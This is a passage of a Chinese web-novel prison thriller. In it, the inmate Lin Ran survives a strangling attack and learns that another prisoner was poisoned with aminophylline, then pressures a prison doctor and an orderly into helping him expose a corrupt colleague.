“而且你不会以为我做的那些事,我一个人就能办到吧?我也是逼不得已!”
林燃没接话。
他知道她指的是伪造病历协助犯人保外就医的事。
一个年轻女医生,母亲尿毒症晚期,欠着高利贷,在监狱这种地方,确实没什么选择余地。
见林燃默认了她的理由,苏念晚也平复了情绪。
“为什么帮我?”他突然问。
林燃看着她。
这个女人明明被他抓住把柄,该恨他怕他,却三番两次提醒他,还帮他争取不转区。
苏念晚手指顿了顿。
她没立刻回答,而是收拾起换下来的旧绷带和药棉,动作慢得像在拖延时间。
处置室的灯光是惨白色的,照得她脸色有些苍白。
上次林燃在她崩溃时那句“你不够坏”,还有那个突兀却克制的触碰,像根细刺扎在心里——
监狱里太多赤裸的欲望和威胁,那种带着距离的“留情”,反而让她更乱了。
“就当我还你人情。”
她最后说,语气刻意平淡,“上次你没逼我到底。”
这理由勉强说得通,但林燃看得出她没说实话。
不过他没戳破。监狱里每个人都有秘密,逼太紧没好处。
苏念晚端起托盘要走,忽然又停住,背对着他:
“昨晚有人给你送东西?”
“嗯。”
“扔了。”她说得干脆。
“医疗监区的东西,来历不明的别碰。有些药……会被动手脚。”
她知道笑面佛送“礼”的事。
林燃心里一凛——这女人的消息网比他想的要灵通。
但他不知道自从知道被调动的命令下达,苏念晚就关注起他的一举一动和安危。
连她自己都不知道为什么。
“苏医生。”
林燃叫住她。
苏念晚回头。
“Ⅲ区当独隔间,里面关的是什么人?”他问。
苏念晚脸色微微一变:“你问这个干什么?”
“好奇。”
“别好奇。”
她语气严肃起来,眼神里带着警告。
“那里关的都是重症传染病患者,或者……精神极度不稳定的犯人。没有特别许可,任何人不能靠近。”
她盯着林燃,声音压得更低:
“你最好也别靠近。那地方……死过人。”
说完这句,她似乎意识到说得太多,抿紧嘴唇,转身拉开门。
“等等。”林燃又说。
苏念晚停在门口,没回头。
“有没有什么东西……能防身?”
林燃问得直接,“不用刀,小一点的,或者药瓶、玻璃碎片什么的,不容易被发现。”
苏念晚沉默了几秒。
走廊的光从门外斜切进来,把她身影拉得细长。
“今天带过来的药都是登记好的,没办法给你,但……我会想办法。”
“谢谢。”他说。
苏念晚没有回头,但身子细不可见地颤了一下。
第六十六章 理疗
门开了又关,换药室里只剩下林燃一个人。
他撑着治疗床沿慢慢站起来,左腿被新绷带裹得结实。
疼痛在药效作用下缓和了些,但骨子里那股钝痛还在。
他摸出内袋里赵大金给的情报纸,展开。
纸上用铅笔密密麻麻写了不少字,字迹潦草但清晰:
医疗监区狱警队长:郭光(麻子脸,坏,被笑面佛收买,小心)
值班室狱警:莫庆廉(戴眼镜,贪,狠)
医务室:苏念晚(背景复杂,疑似可收买?)、刘长光(男医生,好赌,对苏念晚有想法)
护工:王瘸子(我们的人,专管Ⅲ区送饭)、小夏(年轻女孩,幼稚可利用)
Ⅲ区单独隔间进出方法:每周二、四上午九点,护工会推药车进去换药。
药车底层有夹层,可藏人空间小,需瘦削。
Ⅲ区与普通病区间有双层铁门,外门由狱警把守,内门需要医生钥匙+护工陪同。
注意:Ⅲ区走廊有监控,监控有死角,角落维修间无监控。
维修间通风管道通单独隔间天花板(需拆卸栅格)。
笑面佛近日动作:接触我们北佬帮未果,就转而拉拢码头帮“小霸王”(船爷之子),可能联手对付你我。
看完后,林燃感慨:
这情报果然信息量很大!
林燃把纸上的内容反复看了三遍,记牢。
然后把信纸撕成碎片,扔进处置室的污物桶,倒上消毒液搅烂。
这是下了血本。
赵大金说得对,看了这份东西,就等于上了他的船。
但林燃没得选——孤狼在医疗监区这种地方。
如果有人要弄你,活不过三天。
晚饭时,护工王瘸子推着餐车挨个监舍送饭。
轮到107,那个瘦小的护工往林燃饭盒里多扣了一勺菜——
虽然还是水煮白菜,但油花明显多了些。
又往窝头底下塞了个白面馒头,动作很快。
铁拐李看见了,嘿嘿一笑,没说话。
林燃拿起馒头,温热,软乎。
白面在监狱里是稀罕物,普通犯人一个月也未必能见到一次。
他掰开一小块放进嘴里,慢慢嚼着。
这是北佬帮的示好。
他知道情报里,这送饭的王瘸子是北佬帮的人。
他掰了一半,递给铁拐李。
老头愣了一下,接过去,咧嘴笑:“小子,会做人。”
他又抬头看向上铺。小浙江正好吃完最后一口,放下饭盒。
拿起那本《机械原理》,翻身面朝墙壁。
整个动作行云流水,没发出一点多余声响。
这个人太安静了。
安静得让人不安。
见他关注小浙江,铁拐李凑过来,压低声音:
“这小子邪性。你小心点。”
“怎么个邪法?”林燃问。
“进来三个月,跟谁都不亲近。但也没人敢惹他。”
铁拐李说:
“上个月有个犯疯病的想抢他东西,被他按在水池里,差点淹死。后来那疯子见他就躲。”
“狱警没管?”
“管什么?疯子打架,只要不死人,狱警懒得搭理。”铁拐李撇撇嘴,“
不过从那以后,连护工给他打饭都不敢手抖。”
林燃点点头,心里对小浙江的警惕又提了一级。
夜里,医疗监区比普通监区更早陷入沉寂。
林燃点点头,心里对小浙江的警惕又提了一级。
夜里,医疗监区比普通监区更早陷入沉寂。
只有走廊尽头Ⅲ区偶尔传来几声含糊的呓语,或是金属床脚摩擦地面的刺耳声响。
林燃躺在黑暗中,左手搭在胸前,在脑子里反复推演赵大金给的信息。
这三天里,他得摸清医疗监区的巡逻规律,找到避开监控死角的最佳路线。
要想办法找出能接近榔头的路线……。
另外,小浙江的身份必须尽快确认。
如果他是笑面佛的人,那还得提防这个身边的埋伏。
正想着,上铺传来极轻微的动静——
像是翻了个身,但动作很克制,几乎听不到声音。
林燃屏住呼吸,仔细听。
小浙江的呼吸声很均匀,但太均匀了,均匀得不像睡着的人。
他在装睡。
为什么?
林燃闭上眼睛,装作熟睡,呼吸放缓。
右手悄悄探到枕头底下,下意识想去摸自己的小刀,却是一场空。
干!又忘了小刀在312监舍,现在没有防身武器真的不行。
时间一分一秒过去。
走廊的钟敲了十二下。
就在这时,门外似乎有什么摩擦声,不是用手,像是用指甲轻轻刮擦玻璃的声音。
刮擦声持续了三四下,停了。
上铺,小浙江的呼吸声顿了一瞬。
林燃全身肌肉绷紧,双手握拳。
接着,门外传来极低的、含混的哼唱声,调子古怪,断断续续,像是某种儿歌。
声音渐渐变大,开始凄厉起来,很快引起狱警的痛骂。
“妈的,按死他,又发作了——”
是隔壁那个疯子!
林燃松了口气,但握拳的手没松。
小浙江那边传来布料摩擦的声音——他坐起来了。
黑暗中,林燃能感觉到上铺投下的目光。
他在看他。
想动手?
恐怖压抑的氛围下。
林燃爆发了。
“艹!”
他干脆也一下坐起身!直直地盯了回去!
来,要干就干!
两人都没动,也没说话。
就这样在黑暗中四目相对。
僵持了大约一分钟,小浙江重新躺下,呼吸声恢复均匀。
这次像是真睡了。
林燃慢慢松开手,手心一层冷汗。
这一夜再无波折。
第三天上午,一个不认识的新护工来通知林燃和小浙江去理疗室做红外照射。
理疗室在医务室走廊尽头,房间不大,里面摆着两台老式红外治疗仪。
外壳是灰绿色的铁皮,漆都磨掉了大半。
空气里有股电路板加热后的焦糊味,混着消毒水,闻起来让人头晕。
护工让两人分别躺在两张治疗床上,把仪器灯头对准他们的伤处——
林燃的左腿,小浙江的右手腕。
灯头打开时发出低沉的嗡鸣,暗红色的光线照在皮肤上,传来阵阵暖意。
护工设定好时间,说了句“半小时后我来关”,就出去了。
门没锁,虚掩着。
房间里只剩下仪器的嗡鸣声。
林燃侧过头,看向旁边床上的小浙江。
年轻人闭着眼睛,脸色在红光映照下显得有些诡异。
他右手腕上缠着绷带,据说是在车间劳动时被机器划伤的,但伤口的位置和形状……
不太像意外。
林燃想起昨晚的对峙经历,此时和小浙江单独相处,他不觉有些担心起来。
第六十七章 刘长生
时间一分一秒过去。
窗外天色阴沉,乌云压得很低,确实像要下雨。
理疗仪的嗡鸣声持续不断,暖意渗透进骨头缝里,左腿的疼痛似乎真的缓解了些。
就在林燃有些昏昏欲睡时——
“啪!”
一声轻微的爆响从仪器内部传来。
紧接着,灯头红光骤然熄灭,嗡鸣声戛然而止。
几乎同时,一股焦糊味猛地涌出,灰白色的烟从仪器散热孔里冒出来,迅速在房间里弥散。
电路短路?
林燃瞬间清醒,撑着床沿想坐起来。但烟太浓,呛得他咳嗽。
房间里一片昏暗,只有门缝透进一点走廊的光。
“别动!”护工的声音从门外传来,伴随着慌乱的脚步声,“我切电源!”
话音刚落,房间陷入彻底黑暗。电源总闸被拉下了。
黑暗来得太突然,林燃的眼睛还没适应,只能模糊看到物体的轮廓。
烟还在冒,焦糊味越来越重。他听到旁边床上有动静——小浙江也坐起来了。
就在这时,后颈突然一凉!
有什么东西从背后套了上来,粗糙、坚韧,猛地收紧——是绳索!
林燃全身汗毛倒竖,警校训练的本能瞬间启动。
他身体前倾,右手抓住颈后的绳索,同时左肘狠狠向后撞去!
“呃!”身后传来一声闷哼,绳索松了一瞬。
但左腿使不上力。林燃想翻身下床,伤腿刚沾地就传来撕裂般的剧痛——
夹板崩了。他整个人失去平衡,重重摔在地上,后脑磕在床脚,眼前金星乱冒。
黑暗中,那个人影又扑了上来,绳索再次套向他的脖子。
林燃双手死死抓住绳索,双腿乱蹬,但对方力气极大,绳索一寸寸收紧,气管被压迫,呼吸越来越困难……
是小浙江!
这小子果然有问题!
林燃只觉得意识越来越模糊。
此时死斗绝境中,没人能帮自己。
没想到就要死在这小子手里……
“操!”
一声低喝突然在旁边炸响。
紧接着是肉体撞击的闷响,和一声短促的惨叫。
颈上的力道骤然消失,林燃大口喘气,眼前还是一片模糊。
他勉强撑起身子,看到昏暗中有两个人影扭打在一起——
居然其中一个是小浙江,另一个身材矮壮,动作却异常狂暴。
什……什么情况!
难道前面袭击自己的不是这小子?
小浙江没出声,只是默默地格挡、反击。
他的动作干净利落,每一下都打在关节或软肋上,又快又准。
矮壮汉子几次想挣脱,都被他死死缠住。
门外传来嘈杂的脚步声和喊叫,手电筒的光柱乱晃着照进来。
“住手!”
“拉开他们!”
几个护工和狱警冲进来,七手八脚地把两人分开。
手电光下,林燃终于看清袭击者的脸——
是个陌生犯人,眼睛瞪得极大,嘴角流着口水,嘴里发出嗬嗬的怪声,被按在地上还在拼命挣扎。
精神病犯。
“怎么回事?”一个狱警厉声问。
小浙江松开手,退到墙边,呼吸有些急促。
他右手腕的绷带松了,露出下面一道新鲜的伤口——
是刚才打斗时崩开的,正在渗血。
“他突然攻击人。”小浙江说,声音平静得不像刚打过架。
狱警用手电照了照那个还在挣扎的精神病犯,又照了照林燃脖子上那圈明显的勒痕,眉头皱紧了。
“先送医务室!”
他对护工喊,然后指着地上的精神病犯,“把这个送回Ⅲ区,加一道锁!”
几个护工把林燃和小浙江扶起来。
林燃左腿的夹板完全裂开了,疼得他冷汗直冒,只能靠人搀着走。
经过那个精神病犯身边时,那人突然抬头,死死盯着林燃,突然指了指他的眼睛,咧开嘴笑了笑。
那意思很明显,就是要林燃的眼睛。
林燃心里一沉。
护工赶紧把人拖走了。
狱警看着他们的背影,啐了一口:“妈的,又是精神病发狂……算你们倒霉。”
林燃知道,在这里,一个精神病犯暴起伤人,突发攻击行为,是再正常不过的情况。
大都不了了之。
林燃被搀着往医务室走,回头看了眼理疗室。
小浙江跟在他后面,边走边把松掉的绷带重新缠好,动作熟练得像做过无数次。
两人目光在昏暗的走廊里对上。
小浙江什么也没说,只是微微点了点头。
然后他转过头,继续往前走,好像刚才那场生死搏斗,不过是每天例行公事里的一点小插曲。
从理疗室到医务室短短几十米,林燃走得浑身冷汗。
左腿夹板完全裂开,胫骨处传来的锐痛一浪高过一浪,每次脚尖点地都像踩在碎玻璃上。
护工搀着他,嘴里念叨着“倒霉催的”,小浙江跟在后面,脚步轻得像猫。
医务室的门虚掩着,里面传来说话声——男声,带着点刻意压低的殷勤。
“苏医生,你看这个病例,我觉得用药可以再调整……”
是刘长生医生。
林燃记得赵大金情报里提过这人:好赌,对苏念晚有想法,而且有Ⅲ区药品柜的钥匙。
护工推开门,刘长生正半倚在办公桌边,手里拿着病历夹,身子却朝苏念晚那边倾斜。
苏念晚坐在椅子上,背挺得笔直,手指在键盘上敲着,没抬头。
“刘医生。”护工喊了一声,“理疗室出事了,这两个犯人受伤了。”
刘长生转过头,金丝眼镜后的眼睛扫过林燃和小浙江,眉头皱了皱,显然不满被打扰。
随手往旁边一指:“放治疗床上吧。”
林燃被扶到靠门那张床,小浙江自觉躺上另一张。
刘长生走过来检查林燃的腿,手指在肿起的部位按了按——力道不轻。
“夹板的重打。”他说。
“苏医生,你那边还有石膏绷带吗?”
“有。”苏念晚站起身,看到来人居然是林燃后,身子微微一怔。
但很快恢复平静,从药柜里取出材料。
她走过林燃身边时,目光在他脖子上那圈勒痕上停了一瞬,嘴唇抿紧了。
刘长生接过绷带,却转向小浙江:“我先看看他的手腕。”
林燃盯着天花板,耳朵竖着。他听见刘长生拆绷带的声音,然后是短暂的停顿。
“这伤口……”刘长生的声音带着疑惑,“不像是机器划的。”
第六十八章 氨茶碱
小浙江没吭声。
“倒像是被什么东西咬的,或者……自己割的?”
治疗室里空气凝固了一瞬。
林燃侧过头,看见小浙江平静地看着刘长生。
他右手腕上那道伤口皮肉外翻,边缘不规则,确实不像整齐的切割伤。
“车间有野狗。”小浙江说。
“野狗?”刘长生笑了,笑声干巴巴的,“监狱里哪来的野狗?”
“不知道。”小浙江阴寒的目光盯着刘长生。
嘴上还是平淡道:“反正是被咬了。”
刘长生被他盯着看了几秒,心里生起一片恶寒,赶紧移开目光。
他在安江混了这么些年,当然知道这里的水深。
这些犯人里最不缺的就是亡命之徒。
估计这小子又是为了帮派厮杀,混进这医疗监区的。
都是些砍脑壳的死烂仔。
多一事不如少一事。
他在心里啐了一口。
就没再追问。
接着重新替小浙江包扎伤口,但动作明显敷衍了许多,然后才转向林燃。
夹板被拆下来时,林燃疼得倒吸一口冷气。
左小腿肿得发亮,淤血从胫骨处向四周扩散,皮肤绷得几乎透明。
刘长生检查了几分钟,点了点头:
“你这腿,算是恢复的不错,但伤好前千万别再用力了,倒是瘸了看你怎么办。”
“我会注意。”林燃说。
“注意?”刘长生冷笑,“我看你是闲不住。才来医疗监区几天,就惹上精神病犯——
你知道那是什么人吗?砍头剁手眼睛都不眨。”
他说着,手上用力,把新夹板箍紧。
林燃咬紧牙关,没出声。
“行了。”刘长生拍拍手。
“躺一小时别动,等石膏干。苏医生,你看着点,我去Ⅲ区查房。”
他拿起病历夹,又看了眼苏念晚,眼神黏糊糊的:
“对了,晚上值班表我看了一下,咱俩又是同一班。要不……”
“刘医生。”苏念晚打断他,声音很淡,“Ⅲ区那个全身溃烂的病人,你今天复查了吗?”
刘长生表情僵了一下:“还没。怎么了?”
“没什么。”苏念晚敲着键盘。
“就是家属昨天又来电话问了,说病情到底怎么回事。我说要等主治医生复查报告。”
“家属?”刘长生脸色变了,“哪来的家属?他不是孤儿吗?”
“登记表上写的是。”苏念晚抬眼看他,“但打电话的人自称是他表哥,说从东北来的,很急。”
刘长生额头渗出细汗。他推了推眼镜,语气有些不自然:
“那……那我得赶紧去看看。这帮东北人,难缠得很。”
他匆匆走了,白大褂下摆在门口一闪而过。
门关上,医务室里只剩下三个人。
空气里消毒水的味道突然变得很清晰。
苏念晚在里面继续敲键盘,屏幕上绿色的DOS光标一跳一跳。
小浙江从治疗床上坐起来,活动了一下手腕,然后看向林燃。
两人对视了几秒。
“刚才谢了。”林燃用苏念晚听不到的语气先开口。
小浙江没接话,下床走到门口,耳朵贴在门上听了听,确认脚步声走远,才转回身。
“虎爷让我来的。”他说,声音不高,但每个字都清楚。
林燃心里那块石头落地了——果然是赵大金的人。
“什么时候进来的?”
“比你一段时间。”小浙江走回床边坐下。
“我和你任务一样,都是冲榔头来的,但他们都知道我是虎爷的人,想了一堆办法,但没办法进入单独病房。”
“那你的伤……”
“自己弄的。”小浙江看了眼手腕,“得有个合理理由常来医务室。”
他说得轻描淡写,好像割自己一刀跟吃饭喝水一样平常。
林燃盯着他。这年轻人顶多二十出头,脸上还带着点没褪干净的少年气,但眼神冷得像结冰的湖,看不透底。
“为什么帮我?”林燃问。
小浙江沉默了几秒。
“我欠虎爷一条命。”他说,“去年在采石场,塌方,他把我从石头堆里挖出来的。肋骨断了三根,肺穿孔,在医院躺了两个月。”
他顿了顿:“我一个人搞不定那事,只能留下等机会,这时虎爷传话进来。
说你现在是我们的人,他让我护着你。我就护着。”
理由简单直接,监狱里这种报恩逻辑反而最可靠。
林燃点点头:“榔头的事,你知道多少?”
“不多。”小浙江摇头。
“只知道他关在Ⅲ区最里面那间,七天前进去的,再没出来。
送饭的王瘸子说,从门缝里看过一眼——全身烂了,流黄水,高烧说胡话。”
“说胡话?说什么?”
“一直喊‘药,药’。”小浙江说,“还有‘别扎我’。”
药。
别扎我。
林燃脑子里那根弦绷紧了。
扎?
在这里,只有一种人可以扎人。
而且,前世病床呆了那么多年,他太清楚这里医生的手段和能量。
如果真要在安江监狱弄死一个人……
没有比这些“白衣天使”更适合的!
何况苏念晚本就是“保外就医”黑渠道上的一环。
要她杀一个人,只是推一管针剂的事,似乎也……
对了!
林燃又想起有一种药的副作用,正是能造成“榔头”此时的模样。
前世,自己因为要缓解呼吸窘迫,也想尽办法弄来过这种药。
这种药,还是苏念晚她们做假“保外就医”中,也需要用到的一种药……
正是氨茶碱!
这一下,所有的一切都串起来了。
林燃心潮雷动。
他看向苏念晚,她还在敲键盘,并没有注意到这边。
“苏医生。”林燃叫她。
苏念晚疑惑抬头。
“Ⅲ区那个全身溃烂的犯人,是什么病?”
键盘声停了。
医务室里安静得能听见日光灯镇流器的嗡鸣。
苏念晚慢慢转过身,手指无意识地揪着白大褂下摆。
她脸色很白,嘴唇抿成一条直线,眼神在林燃和小浙江之间游移。
“你别管。”她声音发紧,“那不是你该问的。”
“是氨茶碱过量引起的多器官衰竭前兆,对吧?”
话一出口,林燃看见苏念晚整个人抖了一下。
她手一松,握着的鼠标掉在地上,啪的一声。
她眼睛瞪得很大,像见了鬼。
“你……你怎么知道氨茶碱能……?”
第六十九章 杀人不用刀
“这不重要。”林燃撑着坐起来,左腿疼得他太阳穴直跳,但他没停,
“重要的是,榔头的症状和你之前“办事”的用法根本不是一回事——
这是静脉注射高浓度氨茶碱才会出现的急性中毒反应。我说得对吗?”
苏念晚往后退了半步,后背抵上药柜,玻璃门发出轻微的碰撞声。
她盯着林燃,嘴唇动了动,没发出声音。
小浙江站起身,走到窗边,撩开百叶窗往外看了看,然后拉上了窗帘。
医务室暗下来,只有电脑屏幕的绿光映在三人脸上。
“苏医生。”
林燃声音压得更低,“现在这儿没别人。
你要么说实话,要么我就去把你做的那些事——”
林燃说这些时,瞟了一眼旁边的小浙江,隐去了实际内容。
苏念晚做假取保的事,他并不想传出去。
但苏念晚知道他在指什么。
效果显著,一听到这事,她整个人都僵住了。
“你有没有想过,如果你进去了,你那做透析的母亲……啧啧,谁来照顾?还是等死?”
这话很毒。
苏念晚眼圈瞬间红了,不是委屈,是恐惧。她双手攥紧白大褂,指关节捏得发白,胸口剧烈起伏着。
过了足足一分钟,她才开口,声音哑得不像她:
“……是。”
“是什么?”
“是氨茶碱中毒。”
她闭上眼睛,眼泪顺着脸颊滑下来。
“但不是我做的。我检查过药品记录,Ⅲ区的氨茶碱注射液少了两支,丢失时间是……是榔头被关进去的前一天。”
林燃心脏重重一跳:“谁偷的?”
“我不知道。”
苏念晚摇头,眼泪越流越凶。
“但有Ⅲ区药品柜钥匙的,除了我,只有刘长生医生。”
“笑面佛收买了他?”
“我不知道。”
她还是摇头,但顿了顿,又补充道。
“但刘医生……最近赌债很多。他常去监狱外面的‘老金棋牌室’,欠了不少钱。上周还有人打监狱电话来要债,被领导骂走了。”
赌债。
这是个足够强的动机。
林燃脑子里飞快的拼接信息:
笑面佛想除掉榔头——榔头是北佬帮的人,而且和笑面佛有冲突。
找刘长生这种有赌债压力的医生下手,用氨茶碱伪造医疗事故,既除了眼中钉,又不会留下明显把柄。
但刘长生可能不懂药理学,下手太重,或者……笑面佛根本就是想让他死得痛苦点。
“电脑里能查到药品出入库记录吗?”林燃问。
苏念晚点头,走回电脑前,敲了几个命令。
DOS界面跳出一串绿色字符,她翻了几页,指着屏幕:“你看。”
林燃凑过去看。屏幕上是简短的药品流水,日期、品名、数量、领用人。
在“氨茶碱注射液”那一栏,最近一周的记录里确实有两个空缺——数量本该是“10”,实际显示“8”,备注栏空白。
“领用人没登记?”林燃问。
“Ⅲ区的药有时是刘医生直接去拿,不走常规流程。”
苏念晚声音发颤,“他说重症病人用药急,来不及填单子……”
“狗屁。”小浙江突然出声,声音冷得掉冰碴,“就是做手脚。”
林燃盯着屏幕,脑子转得飞快。
证据还不够。
药品记录有漏洞,但不足以证明是刘长生偷的药。
就算能证明,也没法直接指向笑面佛。而且榔头现在命悬一线,当务之急是救人。
“你能进Ⅲ区吗?”他问苏念晚。
“能,但要刘医生或者狱警队长签字。”
她擦掉眼泪,“而且……现在榔头被单独收治起来,除了主治医生和指定护工,谁都不能接触。”
“为什么要单独收治?这个病有传染性么?”
林燃有些奇怪,按道理,一个囚服患者,有必要管控得这么严密?
“不,没有传染性,虽然看起来吓人,但实际上就是器官衰竭……”
这就是问题所在。
林燃听到这,就越发觉得不对。
他前世在病床挣扎了那么些年,对于安江监狱这些监狱医生的做法还是比较了解的。
对于囚犯病患,根本不可能出于治疗去考虑。
那这么严密的保护。
只是为了将其和其他人隔开!
让这榔头慢慢等死!
榔头肯定掌握了什么。
让笑面佛和他背后的这么忌惮,需要将其弄死。
一时间死不成的话,也不能让别人接触。
想通关窍,林燃继续问。
“主治医生是刘长生?”
“嗯。”
死循环。
林燃靠回床头,有点麻烦。
他需要更具体的计划,更需要时间——但榔头可能没那么多时间了。
窗外传来雷声,闷闷的,像远方的鼓。
要下雨了。
“苏医生。”林燃看着她,“如果……我能让你拿到刘长生偷药的证据,你敢不敢把榔头转出Ⅲ区?”
苏念晚猛地抬头:“你什么意思?”
“意思就是,榔头再在Ⅲ区待下去必死无疑。”
林燃说得很直白,“但如果你能以‘病情恶化需转院抢救’为由,把他弄去市医院,北佬帮的人就能在外面接应。”
“不行!”苏念晚拼命摇头。
“转院需要副监狱长签字,还要市局医院开接收证明,流程至少三天!而且刘长生不会同意的,他……”
“如果他自身难保呢?”林燃打断她。
医务室里又静下来。
雨点开始敲打窗户,噼里啪啦,由疏到密。
苏念晚看着林燃,看着这个满脸淤青、腿骨裂开、却眼神冷静的像猎人的年轻犯人。
她突然意识到,自己从一开始就没得选——从被他抓住把柄那天起,她的命运就和他绑在一起了。
“你要怎么做?”她听见自己问。
林燃没立刻回答。
他转头看向小浙江:“你能联系到你们虎爷吧?”
“没那么方便,必须等王瘸子收拾厨具时……。”
不等他说完,林燃就打断道:“你就说可不可以。”
“可以。”小浙江看了这小子一眼,没想到这人这么强势。
“够了。”林燃说,“我需要你们做两件事。”
雨下大了。
窗玻璃上水流如注,医务室里的光线昏暗摇曳。
“我接下来的话,你俩都记好了。”
林燃的声音混在雨声里,低而清晰。
第七十章 救人
“第一,通知你们虎爷,让你们北佬帮盯死刘长生。
摸清他每天的行踪,特别是去‘老金棋牌室’的时间、见了什么人、赌多大。
虎爷在外面应该有人吧?同时让他查查棋牌室的底,看看笑面佛的人是不是常在那儿出没。”
小浙江点头:“明白。”
“第二。”林燃看向苏念晚,“你想办法,明天之内拿到Ⅲ区药品柜的完整盘点记录——
不是电脑里那种,是纸质存档。
刘长生如果做了手脚,电脑记录可以删改,但纸质台账要应付上级检查,他不敢乱来。
两份记录一对,漏洞就藏不住。”
苏念晚嘴唇发白:“台账在医务室档案室,钥匙在刘长生那儿……”
“那就等他不在的时候拿。”
林燃说得很平静,“你是医生,进出档案室名正言顺。
找个理由,比如……就说要核对Ⅲ区病人的长期用药计划,需要参考历史记录。”
“可如果被他发现——”
“所以动作要快。”林燃盯着她,
“苏医生,想想你母亲。你现在帮我,就是帮你自己。”
这话残忍,但真实。
苏念晚闭上眼睛,深吸一口气,再睁开时,眼里那些犹豫和恐惧被一种破釜沉舟的决绝取代。
“我试试。”
“不是试试。”林燃说,“是必须做到。”
雨声中,三人沉默地对视。
医务室的门突然被敲响——很急,很重。
“苏医生!苏医生在吗?Ⅲ区出事了!”
是护工的声音,带着慌。
苏念晚猛地站起身,看了眼林燃和小浙江,快步走过去开门。
门外站着个年轻女护工,浑身湿透,脸色煞白。
“怎么了?”
“那个……那个全身烂的病人,刚、刚才吐血了!吐了一大滩,刘医生让你赶紧过去!”
榔头。
林燃和小浙江对视一眼,同时从对方眼里看到同样的判断——
来不及慢慢计划了。
笑面佛,或者刘长生,要下死手了。
…………
雨越下越大。
砸在医务室的铁皮窗檐上,噼里啪啦像炒豆子。
苏念晚抓起听诊器就往门外冲。
“你们两个别动!”她回头丢下一句,声音在雨声里有些变形,“等我回来!”
门“砰”地关上。
医务室里只剩下林燃和小浙江。
窗外天色晦暗,雨水顺着玻璃往下淌,把外面的放风区浇成一片模糊的灰绿色。
林燃撑着床沿坐直,左腿的夹板还湿着,石膏没干透,泛着凉意。
他看了眼小浙江:“你能走吗?”
小浙江活动了一下手腕,绷带下的伤口又渗出血丝。
他没吭声,直接翻身下床,走到门边,耳朵贴上去听了听。
走廊里传来杂乱的脚步声,还有护工慌乱的喊叫,混在雨声里听不真切。
“外面至少三个人。”
小浙江转回头,“苏医生,刘医生,还有个护工。往Ⅲ区方向去了。”
林燃心里一沉。
榔头吐血——这是急性肾衰竭合并肺水肿的典型症状。
氨茶碱中毒如果到了这一步,死亡率极高。
都说久病成良医,他前世在重症病床上呆那么久。
身边的重症患者死了不知道多少个了。
吐血都见过几次,各种并发症都听麻木了。
这一看到吐血,就知道危险了。
这榔头要是死了。
自己和北佬帮的交易就黄了。
到时还怎么出去?
“我们得进去。”他说。
“进不去。”
小浙江摇头,“Ⅲ区那道铁门,没有医生钥匙和狱警队长签字,苍蝇都飞不进去。”
“那就在这儿等他死?”
林燃不习惯放弃。
小浙江没接话。
他走回窗边,撩开百叶窗往外看。
雨幕里,医疗监区那栋三层小楼像只蹲伏的巨兽,Ⅲ区所在的西侧窗户都关着,窗帘拉得严严实实。
“等。”他说。
时间一分一秒过去。
雨势稍缓,但没停。
医务室里的挂钟指针“咔哒咔哒”走着,每一声都敲在神经上。
林燃盯着天花板那片水渍,脑子里飞快地转。
榔头不能死。
死了,线索就断了。
笑面佛为什么要对他下这么重的手?
一个北佬帮的小弟,就算有冲突,也不至于用氨茶碱这种隐蔽又残忍的方式。
除非——榔头知道什么不该知道的事。
而且赵大金急着要那“东西”。
那东西是什么?账本?证据?还是别的什么?
正想着,门外又传来脚步声。
这次很急,但不是往Ⅲ区去,而是往医务室来。
门被推开,进来的是个年轻护工——
就是之前通知苏念晚的那个,浑身湿透,脸色比刚才还白。
这姑娘喘着气,冲到药柜前翻找。
手抖的筛糠一样,整个人忙乱得像晕头鹅,找了半天,连药柜锁都拉不开,明显被这阵仗吓住了。
好不容易拉开门,找到一瓶,结果她手抖得厉害,玻璃安瓿瓶“啪”地掉在地上,碎了,药液溅了一地。
林燃和小浙江对视一眼。
知道这人可以利用。
林燃突然开口:“你找什么?我帮你找。”
“刘医生让、让拿强心剂……还有利尿剂,那麻烦你了,得快!”
一般监狱的医护、护工这些人怎么可能搭理囚犯。
这叫年轻护工,此时完全是忙昏头了,加上年轻不懂事,就答应了林燃等人的帮助。
而一听要的是强心剂、利尿剂——这是对付急性肺水肿和肾衰竭的常规用药。
说明榔头的情况确实危重,但还有抢救的可能。
帮着女护工找到要的药,林燃一边递过去,一边开口。
“Ⅲ区现在什么情况?”
女护工吓了一跳,转头看他,眼神慌乱:“你、你别问……”
“病人是不是全身水肿?呼吸像拉风箱?尿不出来?”
护工愣住了:“你、你怎么知道?”
“我见过这种病。”林燃说得很平静,“氨茶碱中毒,对不对?”
护工手里的安瓿瓶又差点滑落。
他嘴唇哆嗦着,没说话,但眼神已经出卖了一切。
“刘医生是不是说这是‘突发感染’或者‘药物过敏’?”
林燃继续问,“然后让你们保密,别对外说?”
“你、你别胡说……”护工往后退了半步,后背抵住药柜。
第七十一章 怂恿
“我没胡说。”林燃盯着他,“但你想想——如果病人真死了,查起来,你是最后接触药品的护工之一。
到时候刘医生会不会把责任推给你?说你看管不力,或者拿错了药?”
护工脸色瞬间惨白。
监狱里这种事太常见了。出事了,总要有人背锅。医生有背景,护工没有——最后倒霉的永远是底层。
“我、我只是按吩咐做事……”他声音发颤。
“那你就更该留个心眼。”林燃放缓语气。
“现在病人还没死,一切还有转圜余地。但如果真出人命,你觉得刘医生会保你,还是扔你出去顶罪?”
护工不说话了。
他攥着那支强心剂,手指关节捏得发白。
窗外一道闪电劈过,惨白的光照亮他脸上的冷汗。
几秒后,他咬牙道:
“我、我不能多说……但病人现在很不好。苏医生在抢救,刘医生也在,但他们俩……好像在吵。”
“吵什么?”
“用药方案。”护工压低声音,“苏医生说要加大利尿剂剂量,尽快把毒素排出去。刘医生说病人心脏受不了,要先保心……”
林燃心里冷笑。
保心?他之前在重症病房,都知道吐血了肯定就是肾功能衰竭和肺水肿,不赶紧排水排毒,心脏迟早被压垮。
刘长生要么是真不懂,要么是故意拖时间——拖到榔头没救。
不过好在苏念晚在那,今晚应该不是“榔头”的死期。
“你叫什么名字?”林燃问。
“小、小夏……”
“小夏。”
林燃看着他。
“你现在回去,什么都别说,正常配合。但偷偷记下几点:
刘医生每次下什么医嘱,用了什么药,剂量多少。特别是——他有没有离开过病房,或者接过什么电话。”
小夏瞪大眼睛:“你要干嘛?”
“帮你。”
林燃说得很直接。
“也是在帮病人。你留个记录,万一出事,至少能证明你只是执行医嘱,不是主谋。”
这话击中了小夏最怕的点。
他犹豫了几秒,重重一点头:“好、好……我记。”
他抓起药盘,匆匆走了。
门再次关上。
小浙江从窗边走回来,看着林燃:“你觉得那护工会照做?”
“会。”林燃靠回床头。
